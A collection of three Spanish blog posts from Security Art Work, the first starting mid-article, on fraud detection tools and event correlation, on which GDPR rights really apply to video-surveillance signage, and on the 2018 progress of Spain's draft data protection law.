Es la organización defensiva lo que provoca una armonización de los controles. Algunos teóricos del control interno y/o auditoría debaten sobre tres líneas de defensa. No obstante, cuando el programa de control y detección de fraude va más lejos y se apoya en herramientas que no sólo organizan y garantizan esa defensa de manera efectiva sino que además dispone de controles que permiten la colaboración “fuera del mapa de proceso” adoptando tendencias emergentes de patrones de fraude a través de correlación y un elemento interno digno de mención especial: la correlación de los eventos en el entorno interno y la respuesta inmediata a la incidencia en un entorno colaborativo. Sin duda, la concienciación es uno de los pilares fundamentales.

Este elemento de control interno a través de la correlación de eventos se produce tras un despliegue transversal de puntos de control que debería ser diseñado con “todo el cariño del mundo.” Me parece la forma avanzada de generar una estrategia de control interno que permite a muchas empresas reducir el tiempo de reacción y resolución de incidencias o cuasi-incidencias relacionadas con el fraude y discriminar más allá de los “casos aislados”.  Si además se obtienen datos de control relacionados con tendencias del fraude, pues estamos en un sistema avanzado de cumplimiento y prevención de acciones ilícitas. Me “olvido” intencionadamente, por supuesto, de mencionar el cumplimiento legal, que “supongo” que todas las empresas están en ello.

Algunas soluciones FDP Comerciales

Dentro del mercado tenemos infinidad de soluciones específicas asociadas a ERPs concretas y otras que son absolutamente específicas de proveedores especializados. Vamos a mencionar algunas de ellas a modo de ejemplo, como muestra de algunas opciones comerciales, sin ánimo de dejar fuera a ninguna de las que se pudieran adaptar mejor al programa de detección y prevención del fraude que diseñe una organización y dejando a criterio del lector la investigación posterior de estas y otras herramientas al respecto.

• Digital River. Suite específica para eCommerce con varios puntos de control determinados.
• SAP GRC. Un punto adicional de control en tres niveles cuando el volumen de datos impide tener visibilidad de una realidad.
• SAS FDP. Muy interesante su interacción con redes sociales y otras “correlaciones” fuera del entorno empresarial.
• Iovation. Gran potencial de correlación y un “known how” basado en una experiencia amplia.
• NICE Actimize. Conjunto de soluciones de cumplimiento, gestión de riesgo y productos ad hoc para sectores específicos.

Tres reflexiones les dejo

Dos reflexiones importantes sobre las soluciones comerciales FDP:

1. Tener el arma no significa disponer de objetivo ni tener certeza en las dianas que se planteen para evitar el fraude.
2. Que usted no tenga conocimiento de un fraude no significa que no pueda estar sucediendo ahora mismo.
3. El comparativo odioso. Existe una empresa de sistemas de seguridad domiciliaria que en sus acciones comerciales utiliza una frase impactante: “¿ha sufrido algún robo?”. Cuando se produce una intrusión en un domicilio tiene un alto impacto en nuestra vida cotidiana. Cuando se produce un fraude en una empresa, parece que la percepción es diferente para los empleados y dirigentes. ¿Y si el fraude determina el futuro de la empresa? ¿Cuánto invierte en concienciación?

La entrada Soluciones FDP (Fraud Detection and Prevention). El poder de la correlación de eventos para la acción preventiva aparece primero en Security Art Work.

https://www.aepd.es

Han pasado más cuatro meses desde la entrada en aplicación del Reglamento General de Protección de Datos (RGPD) y aún hay responsables de tratamiento dándose de golpes contra la pared. Especialmente los responsables de tratar datos obtenidos a través de grabaciones de videovigilancia.

Llama especialmente la atención porque a diferencia del resto de tratamientos, a priori la información es mucho más accesible (por eso de la “cultura” heredada de la LOPD de poner el cartel informativo en un lugar visible). Últimamente no dejo de fijarme en los carteles, y aunque son pocos los actualizados a la normativa europea, los que lo están, en su mayoría, están mal.

Es destacable la parte referida a los derechos de los afectados y a la legitimación del tratamiento. En la inmensa mayoría de carteles, incluidas empresas multinacionales con inversiones en adecuación al RGPD no despreciables, figuran los seis derechos tipo del reglamento: acceso, rectificación, supresión, oposición, portabilidad, limitación del tratamiento.

Imaginemos… El día 8 de agosto voy a un Centro Comercial con la pierna escayolada y muletas. Antes de entrar, me encuentro un cartel que avisa de que voy a ser grabado con la finalidad de asegurar y controlar las instalaciones, y que esa grabación será conservada durante treinta días. También me indica que el tratamiento se realizará en base al interés legítimo de la compañía para proporcionar seguridad en las instalaciones a los usuarios y gestionar incidencias de seguridad. Que los destinatarios de las grabaciones serán las Fuerzas y Cuerpos de Seguridad del Estado, los Jueces y los Tribunales, y que me asiste el derecho de acceso, rectificación, supresión, oposición, portabilidad, y limitación mediante solicitud a una dirección email o a una dirección postal.

Bien, vayamos por partes.

Lo primero que hemos de tener en cuenta es el lugar donde se ubica el cartel. Este ha de estar en un lugar VISIBLE antes del lugar objeto de la grabación. Eso de poner el cartelito debajo de la cámara que te está grabando, MAL.

Lo segundo es la legitimación del tratamiento. Aquí hay un debate abierto. Para la Agencia Española de Protección de Datos (AEPD), el hecho de realizar una grabación está legitimado por un interés público (sic). Sin embargo, son muchos los que consideran que el interés público no impera en el ámbito privado, ergo debería legitimar la grabación el interés legítimo. Ante la duda, lo que diga “mamá” agencia va a misa, aunque podemos decir que ambas bases jurídicas generalmente podrían convivir.

Lo tercero es el derecho que asiste a los afectados en tratamientos cuyos datos son captados por la grabación de cámaras de videovigilancia, y aquí viene la miga.

Acceso: Sí, pero con muchos matices. La AEPD dice en su guía de videovigilancia que “resulta prácticamente imposible acceder a imágenes sin que pueda verse comprometida la imagen de un tercero. Por ello puede facilitarse el acceso mediante escrito certificado en el que, con la mayor precisión posible y sin afectar a derechos de terceros, se especifiquen los datos que han sido objeto de tratamiento”. Esto implica que el acceso a la grabación ha de hacerse sin atentar contra el artículo 18 de la Constitución Española que garantiza el derecho al honor, a la intimidad personal y familiar y a la propia imagen, y acorde a lo dispuesto en el artículo 20.5 de la misma en el que se promulga que solo podrá acordarse el secuestro de publicaciones, grabaciones y otros medios de información en virtud de resolución judicial. En conclusión, mucha suerte a aquel que decida ejercer este derecho y enseñarle a su pareja lo mono que iba con su pierna escayolada.

Rectificación: Por supuesto que no. ¿Cómo vamos a rectificar una imagen obtenida por videovigilancia? ¿Te imaginas? –Hola Sr. Responsable/DPD, quiero rectificar mi imagen. Verá, es que ese día tenía la pierna escayolada y hoy no. No tiene cabida.

Supresión: Sí, en el plazo máximo de un mes según lo recogido en el artículo 6 de la Instrucción 1/2006.

Oposición: No es aplicable, salvo que se acrediten motivos legítimos imperiosos para el tratamiento que prevalezcan sobre los intereses, derechos y libertades del interesado. Dado que este derecho se entiende como la imposibilidad de tomar imágenes en el marco de instalaciones de videovigilancia resulta que prevalecería la protección de la seguridad.

Portabilidad: No aplica en este caso. Tal y como dicta la AEPD en la guía referenciada anteriormente, “aunque se trata de un tratamiento automatizado, la legitimación no se basa ni en el consentimiento ni en la ejecución de un contrato”. Por tanto, el interés público (o legítimo), que es la base de legitimación utilizada para justificar las grabaciones de videovigilancia no aplica al ejercicio de este derecho.

Limitación del tratamiento: El interesado podrá ejercer el derecho a la limitación del tratamiento únicamente cuando “el tratamiento de datos sea ilícito y el interesado se oponga a la supresión de sus datos y, por tanto, solicite en su lugar la limitación de su uso” y cuando “el responsable ya no necesite los datos para los fines del tratamiento pero el interesado si los necesite para la formulación, el ejercicio o la defensa de reclamaciones”.

Si como hemos visto en este post, no aplican todos los derechos de los interesados, ¿por qué no dejamos de ver carteles informativos de videovigilancia haciendo alusión a todos ellos?

Ánimo a todos los responsables de estos tratamientos y a los delegados de protección de datos (DPD) encargados de dar respuesta o asesorar en la respuesta respecto a las solicitudes de ejercicio de derecho.

Para terminar os dejamos un enlace a los recursos que la propia AEPD ha incluido en el área de videovigilancia de su página web y al cartel de aviso de videovigilancia.

La entrada Videovigilancia y RGPD aparece primero en Security Art Work.

Seguimos avanzado en el trámite parlamentario para que el ordenamiento jurídico español tenga su nueva ley en materia de protección de datos. El pasado día 9 de octubre se presentaba el Informe emitido por la Ponencia sobre el proyecto de ley de protección de datos en la Comisión de Justicia del Congreso de los Diputados. Hoy, 17 de octubre, se publica el Dictamen de la Comisión que eleva a la Presidencia de las Cortes el recién rebautizado Proyecto de Ley Orgánica de Protección de Datos Personales y Garantía de los Derechos Digitales.

Tras este dictamen de la Comisión de Justicia, el proyecto de ley está muy encarrilado para ser aprobado definitivamente, si todo va bien, en los próximos meses. Poniendo el énfasis en los cambios respecto al texto inicial del proyecto de ley presentado a finales del año pasado, cabe destacar la inclusión del Título X relativo a distintos derechos digitales, que más allá de la controversia suscitada, puede llegar a ser una garantía para la protección de los datos en Internet, la educación respecto a la seguridad de la información en colegios y universidades, y la garantía del cumplimiento del derecho al honor y a la intimidad personal y familiar, tal como se establece en el artículo 18.4 de la Constitución.

En cuanto a los preceptos cuyo desarrollo, obligatorio o potestativo, quedaba remitido por el RGPD a los Estados miembros, y que están incluidos en este Proyecto de Ley, queremos destacar los siguientes aspectos:

• Se fija en 14 años la edad mínima para que los menores den su consentimiento para el tratamiento de sus datos personales.
• Respecto a la gestión de los derechos de los fallecidos, se regula que los herederos o las personas designadas expresamente por el fallecido podrán ejercer el derecho de acceso y, si se cumplen los supuestos pertinentes, el de rectificación y supresión.
• La Agencia Española de Protección de Datos para facilitar el cumplimiento del derecho de información recogido en el artículo 13 del RGPD, recomendó en sus guías facilitar la información en dos capas. Esta recomendación se convertirá en un derecho de los responsables del tratamiento al estar incluido en el Proyecto de Ley. El acceso a la segunda capa de información puede realizarse a través de una dirección electrónica u otro medio que permita acceder de forma sencilla e inmediata.
• El proyecto de ley establece que las Administraciones Públicas (AGE, CCAA, EELL) y organismos públicos y otras entidades del sector público (artículo 77.1 del proyecto de ley) deberán publicar una vez aprobada la ley, un inventario de sus actividades de tratamiento.
• Este proyecto de ley tipifica las infracciones entre muy graves, graves y leves y los supuestos en cada caso.
• En cuanto al bloqueo de los datos cuando proceda su rectificación o supresión, este consistirá en la identificación y reserva de los mismos, y este bloqueo incluirá que no se permita la visualización de los mismos. Esto se realizará mientras puedan derivarse responsabilidades y solo durante el plazo de prescripción de las mismas, tras lo cual deberá procederse a su destrucción. No obstante, y es la novedad que incluye este proyecto de ley, se indica que cuando no pueda realizarse el bloqueo de la forma indicada anteriormente por implicar un esfuerzo desproporcionado, se deberá proceder a un copiado seguro de la información de modo que conste evidencia digital que permita acreditar la autenticidad, la fecha del bloqueo y la no manipulación de los datos durante el mismo. De esta manera se incentiva el cumplimiento por parte de entidades con limitaciones debido a su tamaño o capacidad.
• Por otro lado, se amplían los casos en los que es necesario contar con un Delegado de Protección de Datos. Colegios profesionales y sus consejos generales, centros docentes en cualquiera de los niveles establecidos en la legislación reguladora del derecho a la educación, empresas de seguridad privada y federaciones deportivas que tengan menores son algunos de los nuevos supuestos en los que se requerirá esta figura. En cambio, están exentos de designar un DPD los profesionales de la salud que, aun estando legalmente obligados al mantenimiento de las historias clínicas de los pacientes, ejerzan su actividad a título individual.
• Por último, destacar que en cuanto a la videovigilancia no hay grandes cambios pero sí que hay una obligatoriedad para los responsables del tratamiento de poner a disposición de la autoridad competente las imágenes que acrediten la comisión de actos que atenten contra la integridad de personas, bienes o instalaciones y que para ello debieran ser conservadas más allá del plazo de un mes. El plazo para ponerlas a disposición de la autoridad competente es de un máximo de 72 horas desde que se tuviera conocimiento de la grabación.

Son bastantes las concreciones o matices que realiza este Proyecto de Ley Orgánica de Protección de Datos Personales y Garantía de los Derechos Digitales. Seguimos atentos a las novedades que se pudieran incluir mientras dure el trámite parlamentario hasta la aprobación definitiva de la ley.

¡A por el siguiente pasito! Os seguiremos informando.

Referencia

• Boletín oficial de las Cortes Generales – Proyecto de Ley 121/000013

(N.d.E: Este post ha sido elaborado con la colaboración del equipo de GRC de S2 Grupo).

La entrada Pasito a pasito: Proyecto de Ley Orgánica de Protección de Datos Personales y Garantía de los Derechos Digitales aparece primero en Security Art Work.